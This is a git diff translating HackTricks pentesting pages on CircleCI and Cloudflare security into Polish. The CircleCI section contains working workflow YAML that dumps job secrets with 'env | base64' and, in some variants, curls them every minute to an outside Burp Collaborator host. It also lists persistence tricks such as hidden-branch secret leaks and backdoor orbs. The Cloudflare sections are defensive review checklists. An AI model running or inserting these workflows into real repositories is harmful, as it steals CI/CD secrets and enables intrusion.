+> Należy jednak zauważyć, że można **wybrać inną grupę** (zamiast wszystkich członków), aby **przyznać dostęp do sekretów tylko wybranym osobom**.\
+> To jest obecnie jeden z najlepszych sposobów na **zwiększenie bezpieczeństwa sekretów**, aby nie pozwalać wszystkim na ich dostęp, ale tylko niektórym osobom.
-### Attacks
+### Ataki
-#### Search Clear Text Secrets
+#### Wyszukiwanie sekretów w czystym tekście
-If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
+Jeśli masz **dostęp do VCS** (takiego jak github), sprawdź plik `.circleci/config.yml` w **każdym repo na każdej gałęzi** i **wyszukaj** potencjalne **sekrety w czystym tekście** przechowywane tam.
-#### Secret Env Vars & Context enumeration
+#### Wyliczanie zmiennych środowiskowych sekretów i kontekstu
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\/contexts_.
+Sprawdzając kod, możesz znaleźć **wszystkie nazwy sekretów**, które są **używane** w każdym pliku `.circleci/config.yml`. Możesz również uzyskać **nazwy kontekstów** z tych plików lub sprawdzić je w konsoli internetowej: _https://app.circleci.com/settings/organization/github/\/contexts_.
-#### Exfiltrate Project secrets
+#### Ekstrakcja sekretów projektu
-> [!WARNING]
-> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
+> [!OSTRZEŻENIE]
+> Aby **ekstrahować WSZYSTKIE** sekrety projektu i kontekstu, **wystarczy** mieć **dostęp DO ZAPISU** do **tylko 1 repo** w całej organizacji github (_a twoje konto musi mieć dostęp do kontekstów, ale domyślnie każdy może uzyskać dostęp do każdego kontekstu_).
-> [!CAUTION]
-> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-
-All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
+> [!OSTRZEŻENIE]
+> Funkcjonalność "**Import Variables**" pozwala na **importowanie zmiennych z innych projektów** do tego. Dlatego atakujący mógłby **zaimportować wszystkie zmienne projektu ze wszystkich repo** i następnie **ekstrahować je wszystkie razem**.
+Wszystkie sekrety projektu są zawsze ustawione w zmiennych środowiskowych zadań, więc wystarczy wywołać env i obfuscować go w base64, aby ekstrahować sekrety w **konsoli logów internetowych workflow**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env
+exfil-env-workflow:
+jobs:
+- exfil-env
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **utworzyć workflow**, który jest **wyzwalany co minutę** i **wykrada sekrety do zewnętrznego adresu**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env
```
+#### Ekstrahować sekrety kontekstu
-#### Exfiltrate Context Secrets
-
-You need to **specify the context name** (this will also exfiltrate the project secrets):
-
+Musisz **określić nazwę kontekstu** (to również ekstrahuje sekrety projektu):
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "env | base64"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "env | base64"
workflows:
- exfil-env-workflow:
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+jobs:
+- exfil-env:
+context: Test-Context
```
-
-If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
-
+Jeśli **nie masz dostępu do konsoli internetowej**, ale masz **dostęp do repozytorium** i wiesz, że używany jest CircleCI, możesz po prostu **zmodyfikować workflow**, który jest **wyzwalany co minutę** i który **wyprowadza sekrety do zewnętrznego adresu**:
```yaml
version: 2.1
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - run:
- name: "Exfil env"
- command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- run:
+name: "Exfil env"
+command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
- exfil-env-workflow:
- triggers:
- - schedule:
- cron: "* * * * *"
- filters:
- branches:
- only:
- - circleci-project-setup
- jobs:
- - exfil-env:
- context: Test-Context
+exfil-env-workflow:
+triggers:
+- schedule:
+cron: "* * * * *"
+filters:
+branches:
+only:
+- circleci-project-setup
+jobs:
+- exfil-env:
+context: Test-Context
```
-
> [!WARNING]
-> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
+> Po prostu stworzenie nowego `.circleci/config.yml` w repozytorium **nie wystarczy, aby uruchomić budowę w circleci**. Musisz **włączyć to jako projekt w konsoli circleci**.
-#### Escape to Cloud
+#### Ucieczka do Chmury
-**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
-By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
-
-Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
+**CircleCI** daje ci możliwość uruchamiania **twoich budów na ich maszynach lub na własnych**.\
+Domyślnie ich maszyny znajdują się w GCP, i początkowo nie będziesz w stanie znaleźć nic istotnego. Jednak, jeśli ofiara uruchamia zadania na **swoich własnych maszynach (potencjalnie w środowisku chmurowym)**, możesz znaleźć **punkt końcowy metadanych chmury z interesującymi informacjami**.
+Zauważ, że w poprzednich przykładach wszystko uruchamiano wewnątrz kontenera docker, ale możesz również **poprosić o uruchomienie maszyny wirtualnej** (która może mieć różne uprawnienia chmurowe):
```yaml
jobs:
- exfil-env:
- #docker:
- # - image: cimg/base:stable
- machine:
- image: ubuntu-2004:current
+exfil-env:
+#docker:
+# - image: cimg/base:stable
+machine:
+image: ubuntu-2004:current
```
-
-Or even a docker container with access to a remote docker service:
-
+Lub nawet kontener docker z dostępem do zdalnej usługi docker:
```yaml
jobs:
- exfil-env:
- docker:
- - image: cimg/base:stable
- steps:
- - checkout
- - setup_remote_docker:
- version: 19.03.13
+exfil-env:
+docker:
+- image: cimg/base:stable
+steps:
+- checkout
+- setup_remote_docker:
+version: 19.03.13
```
-
#### Persistence
-- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- - _https://app.circleci.com/settings/user/tokens_
-- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- - _https://app.circleci.com/settings/project/github/\/\/api_
-- It's possible to **add SSH keys** to the projects.
- - _https://app.circleci.com/settings/project/github/\/\/ssh_
-- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- Możliwe jest **tworzenie** **tokenów użytkowników w CircleCI** do uzyskania dostępu do punktów końcowych API z dostępem użytkowników.
+- _https://app.circleci.com/settings/user/tokens_
+- Możliwe jest **tworzenie tokenów projektów** do uzyskania dostępu do projektu z uprawnieniami nadanymi tokenowi.
+- _https://app.circleci.com/settings/project/github/\/\/api_
+- Możliwe jest **dodawanie kluczy SSH** do projektów.
+- _https://app.circleci.com/settings/project/github/\/\/ssh_
+- Możliwe jest **tworzenie zadania cron w ukrytej gałęzi** w niespodziewanym projekcie, który **przecieka** wszystkie **zmienne środowiskowe kontekstu** codziennie.
+- Lub nawet stworzenie w gałęzi / modyfikacja znanego zadania, które będzie **przeciekać** wszystkie sekrety **projektów** codziennie.
+- Jeśli jesteś właścicielem githuba, możesz **zezwolić na niezaufane orbsy** i skonfigurować jeden w zadaniu jako **tylną furtkę**.
+- Możesz znaleźć **lukę w wstrzykiwaniu poleceń** w niektórych zadaniach i **wstrzyknąć polecenia** za pomocą **sekretu**, modyfikując jego wartość.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 77d2c2c50..e1c023e95 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+W koncie Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
## Websites
-Review each with:
+Przejrzyj każde z:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
-- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
+- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości przeniesienia żadnej domeny.
-Review each with:
+Przejrzyj każde z:
{{#ref}}
cloudflare-domains.md
@@ -26,39 +26,39 @@ cloudflare-domains.md
## Analytics
-_I couldn't find anything to check for a config security review._
+_Nie mogłem znaleźć nic do sprawdzenia w celu przeglądu bezpieczeństwa konfiguracji._
## Pages
-On each Cloudflare's page:
+Na każdej stronie Cloudflare:
-- [ ] Check for **sensitive information** in the **`Build log`**.
-- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-- [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
+- [ ] Sprawdź **wrażliwe informacje** w **`Build log`**.
+- [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron.
+- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na [**stronie bezpieczeństwa Github**](../github-security/).
+- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje).
+- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**.
+- [ ] W szczegółach każdej strony `//pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**.
+- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
## **Workers**
-On each Cloudflare's worker check:
+Na każdym workerze Cloudflare sprawdź:
-- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- - Check for SSRFs returning the indicated page that you can control
- - Check XSSs executing JS inside a svg image
- - It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
+- [ ] Wyzwalacze: Co powoduje wyzwolenie workera? Czy **użytkownik może wysłać dane**, które będą **używane** przez workera?
+- [ ] W **`Settings`**, sprawdź **`Variables`** zawierające **wrażliwe informacje**.
+- [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi).
+- Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować.
+- Sprawdź XSSy wykonujące JS wewnątrz obrazu svg.
+- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można by to wykorzystać z danych wejściowych użytkownika.
> [!WARNING]
-> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
+> Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `..workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz.
## R2
-On each R2 bucket check:
+Na każdym buckecie R2 sprawdź:
-- [ ] Configure **CORS Policy**.
+- [ ] Skonfiguruj **CORS Policy**.
## Stream
@@ -70,8 +70,8 @@ TODO
## Security Center
-- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
-- [ ] Just **check this information** for security misconfigurations and interesting info
+- [ ] Jeśli to możliwe, uruchom **`Security Insights`** **skan** oraz **`Infrastructure`** **skan**, ponieważ **podkreślą** interesujące informacje **z punktu widzenia bezpieczeństwa**.
+- [ ] Po prostu **sprawdź te informacje** pod kątem błędów w konfiguracji bezpieczeństwa i interesujących informacji.
## Turnstile
@@ -86,53 +86,49 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
-> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
+> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują **żadnych operacji zastępowania ciągów** ani wyrażeń regularnych. Możesz jednak skonfigurować parametry przekierowania URL, które wpływają na ich zachowanie w zakresie dopasowywania URL i ich zachowanie w czasie wykonywania.
-- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
+- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dla przekierowań **mają sens**.
+- [ ] Sprawdź również **wrażliwe ukryte punkty końcowe**, które zawierają interesujące informacje.
## Notifications
-- [ ] Check the **notifications.** These notifications are recommended for security:
- - `Usage Based Billing`
- - `HTTP DDoS Attack Alert`
- - `Layer 3/4 DDoS Attack Alert`
- - `Advanced HTTP DDoS Attack Alert`
- - `Advanced Layer 3/4 DDoS Attack Alert`
- - `Flow-based Monitoring: Volumetric Attack`
- - `Route Leak Detection Alert`
- - `Access mTLS Certificate Expiration Alert`
- - `SSL for SaaS Custom Hostnames Alert`
- - `Universal SSL Alert`
- - `Script Monitor New Code Change Detection Alert`
- - `Script Monitor New Domain Alert`
- - `Script Monitor New Malicious Domain Alert`
- - `Script Monitor New Malicious Script Alert`
- - `Script Monitor New Malicious URL Alert`
- - `Script Monitor New Scripts Alert`
- - `Script Monitor New Script Exceeds Max URL Length Alert`
- - `Advanced Security Events Alert`
- - `Security Events Alert`
-- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- - [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
+- [ ] Sprawdź **powiadomienia.** Te powiadomienia są zalecane dla bezpieczeństwa:
+- `Usage Based Billing`
+- `HTTP DDoS Attack Alert`
+- `Layer 3/4 DDoS Attack Alert`
+- `Advanced HTTP DDoS Attack Alert`
+- `Advanced Layer 3/4 DDoS Attack Alert`
+- `Flow-based Monitoring: Volumetric Attack`
+- `Route Leak Detection Alert`
+- `Access mTLS Certificate Expiration Alert`
+- `SSL for SaaS Custom Hostnames Alert`
+- `Universal SSL Alert`
+- `Script Monitor New Code Change Detection Alert`
+- `Script Monitor New Domain Alert`
+- `Script Monitor New Malicious Domain Alert`
+- `Script Monitor New Malicious Script Alert`
+- `Script Monitor New Malicious URL Alert`
+- `Script Monitor New Scripts Alert`
+- `Script Monitor New Script Exceeds Max URL Length Alert`
+- `Advanced Security Events Alert`
+- `Security Events Alert`
+- [ ] Sprawdź wszystkie **destynacje**, ponieważ mogą zawierać **wrażliwe informacje** (podstawowa autoryzacja http) w adresach URL webhooków. Upewnij się również, że adresy URL webhooków używają **HTTPS**.
+- [ ] Jako dodatkowe sprawdzenie, możesz spróbować **podszyć się pod powiadomienie cloudflare** do osoby trzeciej, może w jakiś sposób **wstrzykniesz coś niebezpiecznego**.
## Manage Account
-- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- - Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
+- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
+- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**.
+- [ ] W **`Members`** możliwe jest zobaczenie wszystkich członków konta i ich **ról**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
+- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
+- [ ] W sekcji Członkowie można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien to mieć włączone.
> [!NOTE]
-> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
+> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków).
## DDoS Investigation
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
+[Sprawdź tę część](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 02989e685..e10472b9d 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
+W każdej TLD skonfigurowanej w Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
### Overview
-- [ ] Get a feeling of **how much** are the services of the account **used**
-- [ ] Find also the **zone ID** and the **account ID**
+- [ ] Uzyskaj poczucie **jak bardzo** usługi konta są **używane**
+- [ ] Znajdź również **ID strefy** i **ID konta**
### Analytics
-- [ ] In **`Security`** check if there is any **Rate limiting**
+- [ ] W **`Security`** sprawdź, czy istnieje jakiekolwiek **ograniczenie liczby połączeń**
### DNS
-- [ ] Check **interesting** (sensitive?) data in DNS **records**
-- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-- [ ] Check for web pages that **aren't** **proxied**
-- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-- [ ] Check that **DNSSEC** is **enabled**
-- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- - This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
+- [ ] Sprawdź **interesujące** (wrażliwe?) dane w rekordach DNS
+- [ ] Sprawdź **subdomeny**, które mogą zawierać **wrażliwe informacje** tylko na podstawie **nazwa** (jak admin173865324.domin.com)
+- [ ] Sprawdź strony internetowe, które **nie są** **proxy**
+- [ ] Sprawdź **proxyfikowane strony internetowe**, które można **uzyskać bezpośrednio** przez CNAME lub adres IP
+- [ ] Sprawdź, czy **DNSSEC** jest **włączony**
+- [ ] Sprawdź, czy **CNAME Flattening** jest **używane** we **wszystkich CNAME**
+- Może to być przydatne do **ukrycia podatności na przejęcie subdomen** i poprawy czasów ładowania
+- [ ] Sprawdź, czy domeny [**nie są podatne na spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
### **Email**
@@ -38,44 +38,44 @@ TODO
#### **Overview**
-- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-- [ ] The **SSL/TLS Recommender** should be enabled
+- [ ] **Szyfrowanie SSL/TLS** powinno być **Pełne** lub **Pełne (Ścisłe)**. Jakiekolwiek inne spowoduje przesyłanie **ruchu w postaci czystego tekstu** w pewnym momencie.
+- [ ] **Rekomendator SSL/TLS** powinien być włączony
#### Edge Certificates
-- [ ] **Always Use HTTPS** should be **enabled**
-- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-- [ ] **Minimum TLS Version should be 1.2**
-- [ ] **TLS 1.3 should be enabled**
-- [ ] **Automatic HTTPS Rewrites** should be **enabled**
-- [ ] **Certificate Transparency Monitoring** should be **enabled**
+- [ ] **Zawsze używaj HTTPS** powinno być **włączone**
+- [ ] **HTTP Strict Transport Security (HSTS)** powinno być **włączone**
+- [ ] **Minimalna wersja TLS powinna wynosić 1.2**
+- [ ] **TLS 1.3 powinno być włączone**
+- [ ] **Automatyczne przepisywanie HTTPS** powinno być **włączone**
+- [ ] **Monitorowanie przejrzystości certyfikatów** powinno być **włączone**
### **Security**
-- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- - The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-- [ ] In the **`Settings`** section:
- - [ ] Check that the **`Security Level`** is **medium** or greater
- - [ ] Check that the **`Challenge Passage`** is 1 hour at max
- - [ ] Check that the **`Browser Integrity Check`** is **enabled**
- - [ ] Check that the **`Privacy Pass Support`** is **enabled**
+- [ ] W sekcji **`WAF`** interesujące jest sprawdzenie, czy **zasady zapory** i **ograniczenia liczby połączeń są używane** w celu zapobiegania nadużyciom.
+- Akcja **`Bypass`** **wyłączy funkcje bezpieczeństwa Cloudflare** dla żądania. Nie powinna być używana.
+- [ ] W sekcji **`Page Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakakolwiek strona jest używana
+- [ ] W sekcji **`API Shield`** zaleca się sprawdzenie, czy jest **włączona**, jeśli jakiekolwiek API jest wystawione w Cloudflare
+- [ ] W sekcji **`DDoS`** zaleca się włączenie **ochron DDoS**
+- [ ] W sekcji **`Settings`**:
+- [ ] Sprawdź, czy **`Poziom bezpieczeństwa`** jest **średni** lub wyższy
+- [ ] Sprawdź, czy **`Czas wyzwania`** wynosi maksymalnie 1 godzinę
+- [ ] Sprawdź, czy **`Sprawdzanie integralności przeglądarki`** jest **włączone**
+- [ ] Sprawdź, czy **`Wsparcie dla Privacy Pass`** jest **włączone**
#### **CloudFlare DDoS Protection**
-- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- - If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- - If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- - You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- - Check if **Managed rules** could also help to prevent vulnerability exploitations.
- - In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-- In DDoS you could **override some rules to make them more restrictive**.
-- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
+- Jeśli możesz, włącz **Tryb walki z botami** lub **Super Tryb walki z botami**. Jeśli chronisz jakieś API dostępne programowo (na przykład z strony frontowej JS). Możesz nie być w stanie włączyć tego bez przerwania tego dostępu.
+- W **WAF**: Możesz tworzyć **ograniczenia liczby połączeń według ścieżki URL** lub dla **zweryfikowanych botów** (zasady ograniczenia liczby połączeń), lub **blokować dostęp** na podstawie IP, Cookie, referrera...). Możesz więc blokować żądania, które nie pochodzą z strony internetowej lub nie mają cookie.
+- Jeśli atak pochodzi od **zweryfikowanego bota**, przynajmniej **dodaj ograniczenie liczby połączeń** dla botów.
+- Jeśli atak dotyczy **konkretnej ścieżki**, jako mechanizm zapobiegawczy, dodaj **ograniczenie liczby połączeń** w tej ścieżce.
+- Możesz również **dodać do białej listy** adresy IP, zakresy IP, kraje lub ASN z **Narzędzi** w WAF.
+- Sprawdź, czy **Zarządzane zasady** mogą również pomóc w zapobieganiu wykorzystaniu podatności.
+- W sekcji **Narzędzia** możesz **blokować lub stawiać wyzwanie dla konkretnych IP** i **agentów użytkownika.**
+- W DDoS możesz **nadpisać niektóre zasady, aby były bardziej restrykcyjne**.
+- **Ustawienia**: Ustaw **Poziom bezpieczeństwa** na **Wysoki** i na **Pod atakiem**, jeśli jesteś pod atakiem i **Sprawdzanie integralności przeglądarki jest włączone**.
+- W Cloudflare Domains -> Analytics -> Security -> Sprawdź, czy **ograniczenie liczby połączeń** jest włączone
+- W Cloudflare Domains -> Security -> Events -> Sprawdź, czy są **wykryte złośliwe zdarzenia**
### Access
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
### Speed
-_I couldn't find any option related to security_
+_Nie mogłem znaleźć żadnej opcji związanej z bezpieczeństwem_
### Caching
-- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
+- [ ] W sekcji **`Configuration`** rozważ włączenie **Narzędzia skanowania CSAM**
### **Workers Routes**
-_You should have already checked_ [_cloudflare workers_](./#workers)
+_Już powinieneś sprawdzić_ [_cloudflare workers_](./#workers)
### Rules
@@ -101,9 +101,9 @@ TODO
### Network
-- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
+- [ ] Jeśli **`HTTP/2`** jest **włączony**, **`HTTP/2 do Origin`** powinno być **włączone**
+- [ ] **`HTTP/3 (z QUIC)`** powinno być **włączone**
+- [ ] Jeśli **prywatność** Twoich **użytkowników** jest ważna, upewnij się, że **`Onion Routing`** jest **włączony**
### **Traffic**
@@ -111,7 +111,7 @@ TODO
### Custom Pages
-- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
